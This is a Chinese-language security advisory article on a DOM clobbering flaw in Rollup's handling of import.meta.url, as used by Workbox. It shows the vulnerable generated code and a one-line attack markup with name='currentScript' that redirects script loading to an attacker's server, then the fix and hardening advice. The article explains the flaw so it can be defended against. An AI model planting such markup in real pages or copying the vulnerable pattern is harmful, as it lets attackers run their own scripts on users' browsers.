Workbox项目中Rollup依赖的DOM安全问题分析与修复方案
问题背景
在Web开发领域,构建工具的安全性问题往往容易被开发者忽视。近期在Workbox项目依赖的Rollup构建工具中发现了一个值得警惕的安全问题——DOM干扰攻击向量。这种攻击方式通过HTML元素的命名属性干扰JavaScript的正常执行流程,可能导致严重的安全风险。
问题技术分析
DOM干扰攻击原理
DOM干扰是一种特殊的代码重用攻击技术。攻击者通过在网页中嵌入看似无害的非脚本HTML标记(如带有特定name或id属性的img标签),利用现有JavaScript代码中的"可被利用的代码片段"将其转化为可执行代码。这种攻击不需要直接注入JavaScript代码,因此能绕过许多传统的内容安全策略。
Rollup中的问题点
当使用Rollup打包使用import.meta.url的脚本,并输出为cjs/umd/iife格式时,Rollup会将meta属性替换为从document.currentScript获取的URL。问题在于,document.currentScript的查找过程可能被攻击者通过浏览器命名DOM树元素访问机制所劫持。
具体来说,Rollup在以下代码中存在安全隐患:
// 原始问题代码
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
s.src = (_documentCurrentScript && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)
攻击者只需在页面中插入一个带有name="currentScript"属性的HTML元素(如img标签),就能控制脚本加载行为。
攻击场景演示
假设开发者使用Rollup打包以下代码:
var s = document.createElement('script');
s.src = import.meta.url + 'extra.js';
document.head.append(s);
打包后的输出包含易受攻击的代码。如果攻击者能在页面中插入:
<img name="currentScript" src="https://外部服务器/">
这将导致浏览器从外部控制的服务器加载extra.js脚本,实现潜在攻击。
问题影响范围
该问题影响以下情况:
- 使用Rollup打包的项目
- 输出格式为cjs/iife/umd
- 代码中使用import.meta特性
- 页面允许用户注入特定HTML标签且未严格过滤name/id属性
修复方案
Rollup团队已发布修复版本,通过在获取currentScript时增加类型检查来防御DOM干扰攻击。修复后的关键代码如下:
// 修复后的安全代码
document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src
修复方案增加了对元素类型的严格验证,确保只有真正的SCRIPT元素才能提供src属性值。
升级建议
开发者应立即采取以下措施:
- 将Rollup升级至安全版本(v4.22.4+或v3.29.5+)
- 对于无法立即升级的项目,可使用npm audit fix或package.json中的overrides功能强制使用安全版本
- 审查项目中是否存在允许用户注入HTML标签的功能,并加强输入过滤
防御深度思考
除了升级Rollup外,开发者还应考虑以下防御措施:
- 实施严格的内容安全策略(CSP)
- 对所有用户提供的内容进行HTML净化处理
- 避免在关键安全逻辑中依赖可能被DOM干扰影响的全局对象
- 考虑使用Trusted Types等现代浏览器安全特性
这个案例再次提醒我们,构建工具链的安全性与应用代码安全同等重要,应当纳入常规的安全审计范围。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0187
cann-learning-hubCANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。Jupyter Notebook0112
Step-3.7-FlashStep-3.7-Flash是一个拥有 1980 亿参数的稀疏混合专家(MoE)视觉语言模型,由 1960 亿参数的语言主干网络和 18 亿参数的视觉编码器组合而成,具备原生图像理解能力。Python00
JoyAI-EchoJoyAI-Echo,这是一个独立的、仅用于推理的版本,旨在实现分钟级多镜头音视频生成。它采用了经过蒸馏的DMD生成器、配对的跨模态记忆以及故事级别的一致性。其性能的核心在于,一个跨模态视听记忆库能够在长达五分钟的视频中保持角色外观和语音音色的一致性。同时,一个训练后处理流程将基于记忆的强化学习与分布匹配蒸馏相结合,实现了7.5倍的速度提升,显著增强了视觉质量和对齐效果。00
omega-aiOmega-AI:基于java打造的深度学习框架,帮助你快速搭建神经网络,实现模型推理与训练,引擎支持自动求导,多线程与GPU运算,GPU支持CUDA,CUDNN。Java03
llm-universe本项目是一个面向小白开发者的大模型应用开发教程,在线阅读地址:https://datawhalechina.github.io/llm-universe/Jupyter Notebook08